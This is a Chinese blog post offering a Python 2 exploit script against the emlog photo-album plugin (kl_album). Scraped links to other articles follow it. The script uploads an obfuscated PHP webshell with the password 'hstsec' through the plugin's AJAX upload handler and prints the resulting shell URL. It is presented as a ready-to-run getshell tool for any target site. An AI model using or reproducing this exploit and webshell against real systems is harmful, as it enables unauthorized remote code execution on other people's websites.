昨天本站转载了emlog相册插件的漏洞分析文章,当然也有html版的getshell代码,喜欢的同学们可以直接用昨天文章中分享的代码。为了练习python,小弟用python又重写了一次,喜欢的同学们也一起研究一下吧。其实也比较简单。

python版源代码:

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf_8 -*-

# Date: 2015/4/30

# Created by 独自等待

# 博客 http://www.waitalone.cn/

import sys, os, re, time

try:

import requests

except ImportError:

raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

def usage():

# os.system(['clear', 'cls'][os.name == 'nt'])

print '+' + '-' * 60 + '+'

print '\t Python emlog相册插件getshell exploit'

print '\t Blog:http://www.waitalone.cn/'

print '\t\t Code BY: 独自等待'

print '\t\t Time:2015-04-30'

print '+' + '-' * 60 + '+'

if len(sys.argv) != 2:

print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'

print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'

sys.exit()

def getshell(url):

'''

emlog相册插件上传getshell函数

:param url: emlog url地址

:return: 返回得到的shell地址

'''

up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'

shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"

filename = "oneok'.php"

with open(filename, 'wb') as shellok:

shellok.write(shell)

files = {

'Filedata': (filename, open(filename, 'rb'), 'text/json'),

'album': (None, 'waitalone.cn')

}

try:

up_res = requests.post(up_url, files=files).content

shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)

except Exception, msg:

print '\n[x] 发生错误了,卧槽!!!:', msg

else:

if shellok: return url + shellok[0]

if __name__ == '__main__':

usage()

start = time.time()

url = sys.argv[1]

if url[-1] != '/': url += '/'

ok = getshell(url)

try:

os.remove('oneok\'.php')

except Exception:

print '\n[x] 删除临时文件失败,请手工删除!'

if ok:

print '\n[!] 爷,人品暴发了,成功得到Shell:\n\n%s 密码:%s' % (ok, 'hstsec')

else:

print '\n[x] 报告大爷,本站不存在此漏洞!'

print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

使用效果如下图:

[python]emlog相册插件getshell exploit的更多相关文章

  1. [EXP]CVE-2018-2628 Weblogic GetShell Exploit

    漏洞简介 漏洞威胁:RCE--远程代码执行 漏洞组件:weblogic 影响版本:10.3.6.0.12.1.3.0.12.2.1.2.12.2.1.3 代码: # -*- coding: utf-8 ...

  2. 轻量的、可自定义 CSS 的 Lightbox 相册插件

    jQuery LightGallery是一个轻量级的,可定制的,模块化的,响应式的 jQuery 相册插件.它采用 CSS 来实现图像和视频的大小调整.因此,这将是非常灵活的,并且比使用 JavaSc ...

  3. Jquery相册插件(开源下载)

    一,导言 上次 “不定义JQuery插件,不要说会JQuery” 的博客写的肤浅,漏洞百出,而且最重要的是从理论上说如何定义一个jQuery插件,没有实质性的写一个jQuery插件出来,这未免是纸上谈 ...

  4. S Gallery – 很有特色的响应式 jQuery 相册插件

    S Gallery 是一款响应式的 jQuery 相册插件.使用了 HTML5 全屏 API 以及 CSS3 动画 和 CSS3 转换,所以只能在支持这些功能的浏览器中使用. 这款插件它有一个特色功能 ...

  5. ZOOM - 简单易用的 jQuery 照片相册插件

    jQuery 最令人印象深刻的应用之一就是对图片的处理,它可以让帮助你在你的项目中加入一些让人惊叹的图片切换效果.ZOOM 是一款全屏效果的 jQuery 图片切换展示插件,支持键盘前后按键切换,支持 ...

  6. python开发vim插件

    [python开发vim插件] 按如下方式使用python开发vim插件,注意调用时使用的是exec. 但在函数中嵌入python代码更为简便,如下: python如何传递参数给python: 代码头 ...

  7. 使用python制作ArcGIS插件(5)其他技巧

    使用python制作ArcGIS插件(5)其他技巧 by 李远祥 使用python做插件开发,除了了解ArcToolBox工具之外,还需要在了解ArcPy的相关函数和接口.只有掌握了这些,才可以顺利的 ...

  8. 使用python制作ArcGIS插件(4)界面交互

    使用python制作ArcGIS插件(4)界面交互 by 李远祥 插件界面部分,除了一开始在设计器中设计的这些界面元素之外,还可以与操作系统进行一些输入输出的交互,这部分的实现全部在pythonadd ...

  9. 使用python制作ArcGIS插件(3)ArcPy的使用说明

    使用python制作ArcGIS插件(3)ArcPy的使用说明 by 李远祥 ArcPy 是一个以成功的 arcgisscripting 模块为基础并继承了 arcgisscripting 功能进而构 ...

随机推荐

  1. ELF文件解析器支持x86x64ELF文件

    此文为静态分析ELF文件结构,遍历其中Elf_Ehdr文件头信息,遍历Elf_Shdr节表头信息,并将所有节放置在左侧树控件上,遍历Elf_Phdr程序头也放置在左侧树控件上,并着重分析字符串表,重定 ...

  2. OGNL与值栈

    一.OGNL入门 1.什么是OGNL OGNL的全称是对象图导航语言(Object-Graph Navigation Language),它是一种功能强大的开源表达式语言.使用这种表达式语言,可以通过 ...

  3. Python基础(5) - 文件

    Python Python提供的函数和方法方便地对文件进行读.写.删除等的操作. open()函数返回一个文件对象. open(name[, mode[, buffering]]) -> fil ...

  4. 使用webgl(three.js)搭建一个3D智慧园区、3D建筑,3D消防模拟,web版3D,bim管理系统——第四课

    序:这段时间忙于奔波,好久没有更新了,今天更新一下,继续上节课的完善讲解,算是对前段时间的一个总结吧.披星戴月的时光也算有点应用效果了. 对于webgl(three.js)性能这一块我在上节课< ...

  5. cesium运行环境搭建

    cesiumjs是什么 一个世界级3D地球仪和地图的开源JavaScript库. 1.安装node.js 环境 1)下载node.js 官网:https://nodejs.org/en/ 下载完成后双 ...

  6. java.lang.RuntimeException Unable to instantiate application Caused by: java

    参考:http://blog.csdn.net/xufazhong/article/details/71155528 dependencies { classpath 'com.android.too ...

  7. 关于android studio2.3和android studio3.0

    今天又重新把androidstudio2.3重新装上了,实在是受不了android studio3.0了,太恶心人了 说一下为何改用android studio3.0: 优点: 1. 如果只是写纯应用 ...

  8. bzoj 5319: [Jsoi2018]军训列队

    Description Solution 最优情况可以是所有人按位置从小到大排序之后依次占到自己 \(K+\) 排名的位置上去 因为每一个休息位置不同,那么一定递增,所以一定存在一个分界点,左边的是往 ...

  9. 使用Charles为Android设备抓取https请求的包

    之前开发的Android APP使用的都是http请求,之后改成了https,就出现了以下情况,无法正常读取抓取的内容 找了好多资料说法大概差不多,照着弄,结果出现如下情况,后来发现这种情况其实是手机 ...

  10. JQuery对数组的一些操作总结

    JQuery对数组的处理非常便捷并且功能强大齐全,一步到位的封装了很多原生js数组不能企及的功能.下面来看看JQuery数组的强大之处在哪. $.each(array, [callback]) 遍历 ...